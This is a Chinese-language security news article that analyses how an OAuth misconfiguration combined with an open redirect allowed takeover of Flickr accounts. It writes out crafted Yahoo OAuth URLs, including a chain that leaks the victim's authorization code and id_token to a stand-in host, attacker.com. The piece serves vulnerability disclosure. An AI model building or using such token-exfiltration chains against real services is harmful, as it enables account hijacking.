漏洞分析 | 如何利用OAuth错误配置接管Flickr账号

2017-10-18 320804人围观 ,发现 2 个不明物体 WEB安全

yahooflickrhead.jpg

Flickr是雅虎旗下的一个图片视频分享网站,想必大家很熟悉。雅虎现在使用了OAuth验证模式替代之前的登陆方式。本文作者通过检查登陆流程发现了其中的漏洞。

新的Flickr登陆流程

用户想要登陆Flickr.com时,需要点击登陆按钮,就会被重定向到以下链接:

https://api.login.yahoo.com/oauth2/request_auth?client_id=dj0yJmk9NTJmMkVmOFo3RUVmJmQ9WVdrOVdXeGhVMWx3TjJFbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD01OA–&redirect_uri=https%3A%2F%2F www.flickr.com%2Fsignin%2Fyahoo%2Foauth%2F%3Fredir%3Dhttps%253A%252F%252Fwww.flickr.com%252F%253Fytcheck%253D1%2526new_session%253D1&response_type=code&scope=openid%2Csdpp-w&nonce=bb1c92e088f38e9c323fe025d42c405f&.scrumb=jeTYmScEVYq

如果用户没有登陆到雅虎,就会被重定向到雅虎的登陆页面,输入用户名密码后就会返回前面的这个URL

https://www.flickr.com/signin/yahoo/oauth/?redir=https://www.flickr.com/?ytcheck=1&new_session=1&code={redacted}

接下来,Flickr就会在后台用雅虎提供的代码换取token,然后用这个access token,获取用户的数据。Flickr会让用户登陆,然后把他们重定向到url中redir参数指定的网址。

接管Flickr账号

在测试雅虎OAuth验证时,我看到了这个页面:https://developer.yahoo.com/oauth2/guide/openid_connect/getting_started.html。页面里说我们可以设置response_type参数,这个参数可以包含多种数值。于是我觉得检查一下,把参数设置成code id_token。结果雅虎没有把代码发送给Flickr,而是把code和id_token放到了URL中:

https://www.flickr.com/signin/yahoo/oauth/?redir=https://www.flickr.com/?ytcheck=1&new_session=1#code={redacted}&id_token={redacted}

url中#后面的部分实际上是处理重定向响应时预留的。利用这个小问题,我们可以把用户的code参数泄露到后面参数中指定的任何地方。.

不过Flickr只有在合法的code通过query字符串传到服务器时才会执行重定向。因此如果黑客要泄露code,就得要用他自己的账号先生成一个code然后发送到url的redirect_uri参数中。

现在我们可以通过redir泄露用户的code值了。但是实际上雅虎还会检查url是否是https://www.flickr.com/*这种形式的。

因此要想进行攻击,我们得找到flickr.com域名开放的重定向方式。要找到这个并不容易,最终我在使用Flickr Android应用时找到这种重定向方式。我发现如果我们把错误的token值传入它的客户端就可以通过callback_url参数进行重定向。

https://www.flickr.com/sharing_connect.gne?service_type_id=9&token=a&callback_url=https%3A%2F%2F%2Fgoogle.com%2F

我们把他们结合起来,整个攻击流程就是:

攻击者用自己的测试账号生成Flickr认证代码,然后构建下面的url,发送给受害者(我们假设attacker.com是攻击者的服务器):

https://api.login.yahoo.com/oauth2/request_auth?client_id=dj0yJmk9NTJmMkVmOFo3RUVmJmQ9WVdrOVdXeGhVMWx3TjJFbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD01OA–&redirect_uri=https%3A%2F%2F www.flickr.com%2Fsignin%2Fyahoo%2Foauth%2F%3Fcode%3D{here-is-the-attacker’s-code}%26redir%3Dhttps%253A%252F%252Fwww.flickr.com%252Fsharing_connect.gne%253Fservice_type_id%253D9%2526token%253Da%2526callback_url%253Dhttps%25253A%25252F%25252F%25252Fattacker.com%25252F&response_type=code id_token&scope=openid%2Csdpp-w&nonce=bb1c92e088f38e9c323fe025d42c405f&.scrumb=jeTYmScEVYq

当受害者点击链接时就会被重定向到:

https://www.flickr.com/signin/yahoo/oauth/?code={here-is-the-attacker’s-code}&redir=https%3A%2F%2Fwww.flickr.com%2Fsharing_connect.gne%3Fservice_type_id%3D9%26token%3Da%26callback_url%3Dhttps%253A%252F%252F%252Fattacker.com%252F#code={victim’s-code}&id_token={victim’s-id_token}

这样攻击者就可以从受害者的浏览器登陆到Flickr,然后把受害者重定向到:

https://www.flickr.com/sharing_connect.gne?service_type_id=9&token=a&callback_url=https%3A%2F%2F%2Fattacker.com%2F#code=victim’s-code&id_token=victim’s-id_token

再重定向到:

https://attacker.com/#code={victim’s-code}&id_token={victim’s-id_token}

之后攻击者可以使用JavaScript提取url和浏览器中的code:

https://www.flickr.com/signin/yahoo/oauth/?redir=https://www.flickr.com/?ytcheck=1&new_session=1&code={victim’s-code}

*参考来源:TheRegister,本文作者:Sphinx,转载请注明来自FreeBuf.COM

更多精彩
相关推荐
发表评论

已有 2 条评论

取消
Loading...
Sphinx

这家伙太懒了,什么都没写

410 文章数 96 评论数 5 关注者

特别推荐

推荐关注

官方公众号

聚焦企业安全

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php